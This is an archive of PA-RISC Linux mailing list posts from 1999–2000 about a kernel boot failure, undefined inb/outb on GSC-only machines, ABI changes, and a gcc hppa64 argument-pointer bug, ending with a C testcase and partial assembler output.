	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA00657
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 15:15:58 -0700
Original-Received: (qmail 7337 invoked by uid 15267); 5 Dec 2000 22:18:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7283 invoked from network); 5 Dec 2000 22:18:33 -0000
Original-Received: from mailf.telia.com (root@194.22.194.25)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 22:18:33 -0000
Original-Received: from zaphod.halden.lillfab.se (t4o70p45.telia.com [62.20.149.165])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id XAA01757;
	Tue, 5 Dec 2000 23:18:28 +0100 (CET)
Original-Received: from localhost (danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) with ESMTP id XAA17242;
	Tue, 5 Dec 2000 23:18:24 +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8775

Since about yesterday CVS kernels seems to stop booting after the
traps_init message.

Hardware: 715/50, serial console. I can remeber this happening before 
but it was 'fixed' by disabling support for PCI chipsets.

Also: I had to tweak the kernel a bit so it would link, because inb()
and outb() was undefined (referenced in driverd/cher/mem.c and
drivers/char/serial.c). 

I could see that the code in mem.c had some '#if !defined(__mc68000__)'
around them, perhaps there should be a CONFIG_PORT_IO #define to test for
which could be undefined on machines such as the 715 without a wax driver.

Or maybe inb() and outb() should always be defined?

/Daniel  

-- 



From - Thu Nov 08 21:14:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent CVS kernel: boot failure on 715/50 & inb() undefined
Date: Tue, 05 Dec 2000 14:31:18 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <200012052231.OAA05117@milano.cup.hp.com>
References: <Pine.LNX.4.21.0012052307320.8673-100000@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619395 8062 80.91.229.3 (22 Nov 2014 01:23:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, 5116@telia.com
To: Daniel Engstrom <danne@telia.com>
Original-X-From: grundler@cup.hp.com  Tue Dec  5 15:28:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA01258
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 15:28:12 -0700
Original-Received: (qmail 25543 invoked by uid 15267); 5 Dec 2000 22:30:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25532 invoked from network); 5 Dec 2000 22:30:47 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 22:30:47 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 99F4128B; Tue,  5 Dec 2000 14:30:44 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA05117;
	Tue, 5 Dec 2000 14:31:20 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 05 Dec 2000 23:18:24 PST."
             <Pine.LNX.4.21.0012052307320.8673-100000@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:8776

Daniel Engstrom wrote:

> Or maybe inb() and outb() should always be defined?

inb/outb need to be defined for the type of I/O bus being supported.

PArisc doesn't have inb/outb instructions like x86.
PCI bus support is platform specific - ie different depending on HBA.
GSC bus support requires faking "I/O port space".
EISA is similar to PCI in this regard.

But HP does have systems with GSC, EISA, and PCI in the same machine.
Right now, only PCI defines a dynamic interface to support all three
at the same time. This "design" definitely needs more work for GSC/EISA
bus support if you (or anyone else) is interested.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent CVS kernel: boot failure on 715/50 & inb() undefined
Date: Tue, 5 Dec 2000 22:32:56 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20001205223256.F12682@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0012052307320.8673-100000@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619396 8070 80.91.229.3 (22 Nov 2014 01:23:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, 5116@telia.com
To: Daniel Engstrom <danne@telia.com>
Original-X-From: willy@www.linux.org.uk  Tue Dec  5 15:31:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA01604
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 15:31:19 -0700
Original-Received: (qmail 28916 invoked by uid 15267); 5 Dec 2000 22:33:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28888 invoked from network); 5 Dec 2000 22:33:09 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 22:33:09 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 143Qds-0007ER-00; Tue, 05 Dec 2000 22:32:56 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.LNX.4.21.0012052307320.8673-100000@zaphod.halden.lillfab.se>; from danne@telia.com on Tue, Dec 05, 2000 at 11:18:24PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8777

On Tue, Dec 05, 2000 at 11:18:24PM +0100, Daniel Engstrom wrote:
> Also: I had to tweak the kernel a bit so it would link, because inb()
> and outb() was undefined (referenced in driverd/cher/mem.c and
> drivers/char/serial.c). 

OK, this is Alan Cox's fault :-)  He insists that inb et al should not
have dummy defines, but the drivers should be fixed instead.  please send
your .config.

> I could see that the code in mem.c had some '#if !defined(__mc68000__)'
> around them, perhaps there should be a CONFIG_PORT_IO #define to test for
> which could be undefined on machines such as the 715 without a wax driver.

possibly, it's difficult to say wihout knowing exactly what's going wrong.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent CVS kernel: boot failure on 715/50 & inb() undefined
Date: Wed, 6 Dec 2000 00:58:48 +0000 (GMT)
Lines: 7
Approved: news@gmane.org
Message-ID: <E143Sv6-0000Cu-00@the-village.bc.nu>
References: <20001205223256.F12682@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619396 8081 80.91.229.3 (22 Nov 2014 01:23:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:16 +0000 (UTC)
Cc: danne@telia.com (Daniel Engstrom), parisc-linux@thepuffingroup.com,
        5116@telia.com
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Dec  5 17:55:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA03374
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 17:55:27 -0700
Original-Received: (qmail 26625 invoked by uid 15267); 6 Dec 2000 00:58:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26473 invoked from network); 6 Dec 2000 00:57:51 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 00:57:51 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 143Sv6-0000Cu-00; Wed, 6 Dec 2000 00:58:52 +0000
In-Reply-To: <20001205223256.F12682@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Dec 05, 2000 10:32:56 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8778

> OK, this is Alan Cox's fault :-)  He insists that inb et al should not
> have dummy defines, but the drivers should be fixed instead.  please send
> your .config.

I am allowed to be wrong here. I would like to take a look at the specific
drivers if you can tell me which before you leave.


From - Thu Nov 08 21:14:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent CVS kernel: boot failure on 715/50 & inb() undefined
Date: Wed, 6 Dec 2000 01:19:48 +0000 (GMT)
Lines: 12
Approved: news@gmane.org
Message-ID: <E143TFN-00009u-00@the-village.bc.nu>
References: <20001205223256.F12682@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619396 8090 80.91.229.3 (22 Nov 2014 01:23:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:16 +0000 (UTC)
Cc: danne@telia.com (Daniel Engstrom), parisc-linux@thepuffingroup.com,
        5116@telia.com
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Dec  5 18:33:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04305
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 18:33:40 -0700
Original-Received: (qmail 3319 invoked by uid 15267); 6 Dec 2000 01:36:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3297 invoked from network); 6 Dec 2000 01:36:15 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 01:36:15 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 143TFN-00009u-00; Wed, 6 Dec 2000 01:19:49 +0000
In-Reply-To: <20001205223256.F12682@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Dec 05, 2000 10:32:56 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8779

> OK, this is Alan Cox's fault :-)  He insists that inb et al should not
> have dummy defines, but the drivers should be fixed instead.  please send
> your .config.

Oh wait ignore my other comment. I realised the context this one was meant.
You want it to fail to build drivers for things you cannot have, not 
mysteriously fail in some driver thats mostly mmio but has an inb/inw you
didnt notice..

> 
> 


From - Thu Nov 08 21:14:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binary compatibility
Date: Wed, 6 Dec 2000 14:53:37 +1100 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012061440160.16721-100000@front.linuxcare.com.au>
References: <20001205193057.C12682@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619397 8098 80.91.229.3 (22 Nov 2014 01:23:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: alan@linuxcare.com.au  Tue Dec  5 20:51:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA05527
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 20:51:39 -0700
Original-Received: (qmail 15501 invoked by uid 15267); 6 Dec 2000 03:54:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15428 invoked from network); 6 Dec 2000 03:54:13 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 03:54:13 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA00427;
	Wed, 6 Dec 2000 14:53:37 +1100
In-Reply-To: <20001205193057.C12682@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8780

On Tue, 5 Dec 2000, Matthew Wilcox wrote:

> how much do people care if i break binary compatibility again?

I'd be a hypocrite if I did, as I've broken it a number of times.  :)

> i suppose the pain of this would be mitigated if there were other changes
> to the abi that people wanted to make and we could make them all at the
> same time.
> 
> ideas?

o  Remove millicode stuff from libgcc, and make a libmill.a  Support code
   to automagically look for -lmilli is already in ld, but disabled as ld
   will complain if it can't find libmilli.a.
o  Switch over to using dwarf2 unwind for c++ exception handling.

Alan
-- 
Linuxcare.  Support for the Revolution.




From - Thu Nov 08 21:14:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: testcase for hppa64 gcc bug
Date: Tue, 05 Dec 2000 21:12:46 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <17409.976075966@upchuck>
References: <200011091739.MAA07483@hiauly1.hia.nrc.ca>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619397 8108 80.91.229.3 (22 Nov 2014 01:23:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:17 +0000 (UTC)
Cc: alan@linuxcare.com.au, gcc-bugs@gcc.gnu.org, gcc-patches@gcc.gnu.org,
        parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Tue Dec  5 21:08:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA06113
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 21:08:32 -0700
Original-Received: (qmail 993 invoked by uid 15267); 6 Dec 2000 04:11:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 979 invoked from network); 6 Dec 2000 04:11:08 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 04:11:08 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id UAA01151
	for <parisc-linux@thepuffingroup.com>; Tue, 5 Dec 2000 20:11:06 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id VAA17412;
	Tue, 5 Dec 2000 21:12:46 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 09 Nov 2000 12:39:57 EST.
             <200011091739.MAA07483@hiauly1.hia.nrc.ca> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:8781


  In message <200011091739.MAA07483@hiauly1.hia.nrc.ca>you write:
  > For the record, here is my final patch regarding making the arg_pointer
  > eliminable for TARGET_64BIT.  I think the code it generates is correct but
  > it hasn't been extensively tested.  However, I don't recommend it for
  > installation since in comparing the assembler code generated with and
  > without elimination for a couple of test cases, I didn't observe any
  > significant improvement in the code with the patch.  Possibly, the patch
  > implicitly disables elimination when the arg_pointer is needed.
  > 
  > I do find that Alan Modra's ARG_POINTER_INVARIANT patch needs to be install
  > ed
  > to get correct code with his test case.
  > 
  > There is one part of the patch below which I think needs to be installed.
  > That is
  > 
  > 	(call, call_value): Always USE the arg_pointer for TARGET_64BIT.
  > 
  > The use for the arg_pointer needs to be pulled out of the `if (flag_pic)'.
  > 
  > Dave
  > -- 
  > J. David Anglin                                  dave.anglin@nrc.ca
  > National Research Council of Canada              (613) 990-0752 (FAX: 952-6
  > 605)
  > 
  > 2000-11-07  John David Anglin  <dave@hiauly1.hia.nrc.ca>
  > 
  > 	* pa-linux64.h (ARG_POINTER_INVARIANT): Define even when the
  > 	arg_pointer is being eliminated.
  > 	(ELIMINABLE_REGS): Enable elimination of the arg_pointer.
  > 	(INITIAL_ELIMINATION_OFFSET): Revise offsets for arg_pointer.
  > 	* pa.md (mulsi3, divsi3, udivsi3, modsi3, umodsi3 and
  > 	canonicalize_funcptr_for_compare): Put "(reg:SI 26)" inside
  > 	unspec to prevent elimination.
  > 	(call, call_value): Always USE the arg_pointer for TARGET_64BIT.
  > 	Use the new addmovdi3 insn to load the arg_pointer register.
  > 	(addmovdi3 and mov_from_r29_si): New insn and expand which prevent
  > 	r29 from being eliminated in call setups and millicode returns.
I haven't followed this discussion too closely.  Is this patch still needed
after some of the recent changes in how we compute liveness for the argument
pointer?
jeff


From - Thu Nov 08 21:14:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld problem workaround
Date: Thu, 6 May 1999 05:39:31 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <19990506053931.13099@insula.local>
References: <19990506052437.44410@insula.local> <Pine.LNX.3.96.990506012143.25834A-100000@devserv.devel.redhat.com>
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619397 8119 80.91.229.3 (22 Nov 2014 01:23:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: prumpf@jcsbs.lanobis.de  Thu Apr 29 21:44:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA23298
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Apr 1999 21:44:44 -0600
Original-Received: (qmail 13926 invoked by uid 15267); 6 May 1999 05:26:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13919 invoked from network); 6 May 1999 05:26:16 -0000
Original-Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 05:26:16 -0000
Original-Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10fGhy-001Ln1C; Thu, 6 May 1999 07:28:30 +0200 (CEST)
Original-Received: (qmail 12172 invoked from network); 6 May 1999 05:28:50 -0000
Original-Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 6 May 1999 05:28:50 -0000
Original-Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id FAA02285;
	Thu, 6 May 1999 05:39:32 GMT
X-Mailer: Mutt 0.89.1
In-Reply-To: <Pine.LNX.3.96.990506012143.25834A-100000@devserv.devel.redhat.com>; from Alex deVries on Thu, May 06, 1999 at 01:22:24AM -0400
X-Accept-Language: en,de,se
Xref: news.gmane.org gmane.linux.ports.parisc:8782

> > There is now an ugly workaround in the CVS tree that allows us to
> > use 0x8000 as kernel entry point.
> 
> So if I understand it correctly, we should be able to fix the bootloader
> to jump to 0x8000 and actually load the kernel.

The other way round preferably.

> Chris, how far off that are we?

Where are the bootloader sources atm ?


From - Thu Nov 08 21:14:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: testcase for hppa64 gcc bug
Date: Tue, 5 Dec 2000 23:14:59 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200012060415.XAA19968@hiauly1.hia.nrc.ca>
References: <17409.976075966@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619398 8126 80.91.229.3 (22 Nov 2014 01:23:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:18 +0000 (UTC)
Cc: alan@linuxcare.com.au, gcc-bugs@gcc.gnu.org, gcc-patches@gcc.gnu.org,
        parisc-linux@thepuffingroup.com
To: law@redhat.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Dec  5 21:12:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA06461
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 21:12:47 -0700
Original-Received: (qmail 5127 invoked by uid 15267); 6 Dec 2000 04:15:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5058 invoked from network); 6 Dec 2000 04:15:22 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 04:15:22 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id XAA19968;
	Tue, 5 Dec 2000 23:15:00 -0500 (EST)
In-Reply-To: <17409.976075966@upchuck> from "Jeffrey A Law" at Dec 5, 2000 09:12:46 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8783

>   > 2000-11-07  John David Anglin  <dave@hiauly1.hia.nrc.ca>
>   > 
>   > 	* pa-linux64.h (ARG_POINTER_INVARIANT): Define even when the
>   > 	arg_pointer is being eliminated.
>   > 	(ELIMINABLE_REGS): Enable elimination of the arg_pointer.
>   > 	(INITIAL_ELIMINATION_OFFSET): Revise offsets for arg_pointer.
>   > 	* pa.md (mulsi3, divsi3, udivsi3, modsi3, umodsi3 and
>   > 	canonicalize_funcptr_for_compare): Put "(reg:SI 26)" inside
>   > 	unspec to prevent elimination.
>   > 	(call, call_value): Always USE the arg_pointer for TARGET_64BIT.
>   > 	Use the new addmovdi3 insn to load the arg_pointer register.
>   > 	(addmovdi3 and mov_from_r29_si): New insn and expand which prevent
>   > 	r29 from being eliminated in call setups and millicode returns.
> I haven't followed this discussion too closely.  Is this patch still needed
> after some of the recent changes in how we compute liveness for the argument
> pointer?

I think this needs to be reexamined.  Allan's ARG_POINTER_INVARIANT patch
might not be needed now.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: testcase for hppa64 gcc bug
Date: Wed, 6 Dec 2000 16:28:27 +1100 (EST)
Lines: 126
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012061607530.16721-100000@front.linuxcare.com.au>
References: <200012060415.XAA19968@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619398 8136 80.91.229.3 (22 Nov 2014 01:23:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:18 +0000 (UTC)
Cc: law@redhat.com, gcc-bugs@gcc.gnu.org, gcc-patches@gcc.gnu.org,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Tue Dec  5 22:26:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA07422
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 22:26:13 -0700
Original-Received: (qmail 9518 invoked by uid 15267); 6 Dec 2000 05:28:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9491 invoked from network); 6 Dec 2000 05:28:48 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 05:28:48 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA03164;
	Wed, 6 Dec 2000 16:28:27 +1100
In-Reply-To: <200012060415.XAA19968@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8784

On Tue, 5 Dec 2000, John David Anglin wrote:

> >   > 2000-11-07  John David Anglin  <dave@hiauly1.hia.nrc.ca>
> >   > 
> >   > 	* pa-linux64.h (ARG_POINTER_INVARIANT): Define even when the
> >   > 	arg_pointer is being eliminated.
> >   > 	(ELIMINABLE_REGS): Enable elimination of the arg_pointer.
> >   > 	(INITIAL_ELIMINATION_OFFSET): Revise offsets for arg_pointer.
> >   > 	* pa.md (mulsi3, divsi3, udivsi3, modsi3, umodsi3 and
> >   > 	canonicalize_funcptr_for_compare): Put "(reg:SI 26)" inside
> >   > 	unspec to prevent elimination.
> >   > 	(call, call_value): Always USE the arg_pointer for TARGET_64BIT.
> >   > 	Use the new addmovdi3 insn to load the arg_pointer register.
> >   > 	(addmovdi3 and mov_from_r29_si): New insn and expand which prevent
> >   > 	r29 from being eliminated in call setups and millicode returns.
> > I haven't followed this discussion too closely.  Is this patch still needed
> > after some of the recent changes in how we compute liveness for the argument
> > pointer?
> 
> I think this needs to be reexamined.  Allan's ARG_POINTER_INVARIANT patch
> might not be needed now.

It's still needed.  The problem is that gcc thinks the arg pointer is
unchanged from the entry value to a function, even when the arg pointer
needs to be set to call other functions.

Actually, given the nature of the problem, I'm inclined to think that all
targets that use an arg pointer should probably define
ARG_POINTER_INVARIANT = 0.  Or equivalently, don't apply my
ARG_POINTER_INVARIANT patch and simply remove tests for arg_pointer_rtx in
rtx_unstable_p, rtx_varies_p, rtx_addr_can_trap_p, function_invariant_p,
loop_invariant_p, and possibly other places I've missed.

Here's the testcase again:

extern void abort(void);

char p;

int f1 (char **);
int f2 (char *, char **);

char *f3 (char *a, char *b)
{
  char *c = 0;

  if (f1 (&b) != 0)
    goto out;

  /* hppa64 passes bogus value for b */
  f2 (b, &c);

out:
  return c;
}

int f1 (char **x)
{
  if (*x != &p)
    abort ();
  return 0;
}

int f2 (char *a, char **b)
{
  if (a != &p)
    abort ();
  *b += 1;
  return 0;
}

int main (void)
{
  if (f3 (0, &p) != (char *) 0 + 1)
    abort ();
  return 0;
}

Results of compiling with -O2 -S for hppa64-hpux11-gcc built from CVS
of less that an hour ago.

	.LEVEL 2.0w
gcc2_compiled.:
	.IMPORT f1,ENTRY
	.IMPORT f2,ENTRY
	.text
	.align 8
	.EXPORT f3,ENTRY
f3
	.PROC
	.CALLINFO FRAME=128,CALLS,SAVE_RP,ENTRY_GR=3
	.ENTRY
	std %r2,-16(%r30)
